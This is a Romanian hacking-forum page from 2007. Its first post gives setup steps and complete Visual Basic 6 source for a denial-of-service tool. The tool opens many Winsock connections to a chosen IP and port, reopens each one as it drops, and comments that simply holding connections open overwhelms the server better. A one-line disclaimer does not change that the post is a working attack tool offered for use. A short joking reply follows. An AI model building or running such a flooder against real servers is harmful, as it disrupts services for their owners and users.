§Þîrî'][' §qÚåÐ FoRuM 2oo7
Numele forumului cat si aceasta descriere pot fi modificate accesind meniul ADMIN -> OPTIUNI
|
Nou pe simpatie:
OnutzaGirl
 | Femeie
23 ani
Galati
cauta Barbat
24 - 51 ani |
|
|
§Þîrî'][' §qÚåÐ FoRuM 2oo7InregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
5 TextBos primu cu nume TxtIp ptr IP al doilea TxtPort pentru port al treilea TxTConnections al patrulea TxtLive ptr activi al 5 lea cu nume TxtLog pentru Detaliile ddosurlui
- 2 Command Button primu ptr Start cu nume de Cmd Start si al doilea ptr Exit cu Command1
- si un timer cu nume Timer1 si interval 500
si punetzi codu asta
'I DO NOT RECOMEND THAT YOU USE THIS PROGRAM EXCEPT ON SERVERS WHERE YOU HAVE PERMISSION TO USE IT
'USING DoS PROGRAMS IS CONSIDERED LAME, I ONLY WROTE THIS AS AN EXAMPLE ON HOW VUNRABLE MANY SERVERS ARE.
Private Sub CmdStart_Click()
For intI = 1 To Val(Me.TxtConnections)
Load Me.Winsock1(intI)
Me.Winsock1(intI).Connect Me.TxtIP, TxtPort.Text
Next intI
End Sub
Private Sub Command1_Click()
End
End Sub
Private Sub Timer1_Timer()
TxtLive.Text = Winsock1.Count - 1
End Sub
Private Sub Winsock1_Close(Index As Integer)
Txtlog.Text = Txtlog.Text & vbNewLine & "Winsock Lost"
Winsock1(Index).Close
Winsock1(Index).Connect TxtIP.Text, TxtPort.Text
TxtLive.Text = TxtLive.Text - 1
End Sub
Private Sub Winsock1_Connect(Index As Integer)
Dim data1 As String
TxtLive.Text = Winsock1.Count
data1 = "GET / HTTP/1.0" & vbNewLine & vbNewLine 'works better if you don't actualy request, but just hog the server with connections
'Winsock1(Index).SendData data1
'Timer1.Enabled = True
End Sub
Private Sub Winsock1_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim Recived As String
Winsock1(Index).GetData Recived
Txtlog.Text = Txtlog.Text & Recived
End Sub
|
|
| |
|
| #2 |
|
|
Pai da ai facut Topic DDoS cu Port
 Da ce exista DDoS fara port  ))) ????
_______________________________________
[-€mþîr€-WørlÐ-] ]v[€]v[߀®
|
|
| |
|
